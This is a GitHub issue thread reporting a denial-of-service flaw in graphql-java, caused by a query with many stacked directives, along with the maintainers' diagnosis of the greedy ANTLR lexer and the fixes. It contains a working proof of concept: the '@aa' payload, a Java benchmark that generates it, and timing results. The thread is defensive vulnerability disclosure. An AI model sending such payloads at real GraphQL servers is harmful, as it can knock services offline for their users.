Denial of Service via Directive overloading

[act1on3]

Hello team,
I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik).
Query example:

query {__typename @aa}

I get errors by implemented security mechanisms, but these mechanisms don't help in this case:

• Help prevent DOS attacks on graphql servers #2549
• Support Max validation errors being produced #2553

MaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.

Query execution time increases by adding more directives:

5000 directives: 445 ms
10000 directives: 732 ms
15000 directives: 1164 ms
20000 directives: 1671 ms
25000 directives: 2159 ms
30000 directives: 2661 ms
35000 directives: 3171 ms
40000 directives: 3687 ms
45000 directives: 4224 ms
50000 directives: 4711 ms
55000 directives: 5227 ms
60000 directives: 5749 ms
65000 directives: 6297 ms
70000 directives: 6788 ms

The code snippet for testing:

import graphql.ExecutionInput;
import graphql.ExecutionResult;
import graphql.GraphQL;
import graphql.schema.GraphQLSchema;
import graphql.schema.StaticDataFetcher;
import graphql.schema.idl.RuntimeWiring;
import graphql.schema.idl.SchemaGenerator;
import graphql.schema.idl.SchemaParser;
import graphql.schema.idl.TypeDefinitionRegistry;

import static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;

public class HelloWorld {

    static Integer STEP = 5000;
    static Integer CHECKS_AMOUNT = 15;

    public static void main(String[] args) {
        String schema = "type Query{hello: String}";

        SchemaParser schemaParser = new SchemaParser();
        TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);

        RuntimeWiring runtimeWiring = newRuntimeWiring()
                .type("Query", builder -> builder.dataFetcher("hello", new StaticDataFetcher("world")))
                .build();

        SchemaGenerator schemaGenerator = new SchemaGenerator();
        GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);

        GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();

        String payload = "@aa";

        for (int i = 1; i < CHECKS_AMOUNT; i++) {

            String query = "query {__typename " + payload.repeat(i * STEP) + "}";
            ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();

            long startTime = System.nanoTime();

            ExecutionResult executionResult = build.execute(executionInput);

            long endTime = System.nanoTime();
            long duration = (endTime - startTime);

            System.out.println(String.format("%d directives: %d ms", i* STEP, duration / 1000000));
        }
    }
}

[bbakerman]

#2549 should help out of the box as its expressely for that attack

The default number of tokens is 15000. You test above should kicked out at 15000 tokens.

Hmm perhaps this is because you are appending them together as @aa@aa@aaa wich is valid but perhaps the ANTLR token count does not register them as tokens and hence it never reaches the count.

We will look into this more.

Thanks for reporting

[bbakerman]

Thanks very much for reporting this problem. We did discover another problem in the ANTLR lexer that nullified out previous attempts to limit how many tokens get parsed.

the ANTLR lexer is by design greedy and wants to get as many characters as it can before presenting them back to the parser. Certain grammar (like @lol@lol directives all together) mean that the lexer greedily races ahead and never returns to the parser (even though it has discovered N grammar elements).

The end result is that even thought the parser had code to limit how many tokens it would process, the underlying lexer was driving CPU work that ended up in DOS territory before a callback to the parser could cause the limits to be applied.

See #2892

[bbakerman]

I have asked in antlr/antlr4#3796 for more ANLTR info here so we can better at this

[act1on3]

Hi @bbakerman,
That's good news that the reported issue is helpful. Thanks for investigating it carefully.

[dondonz]

Closed by #2892

[seanf]

Also closed by #2902 and #2897 (backports). Thanks @bbakerman !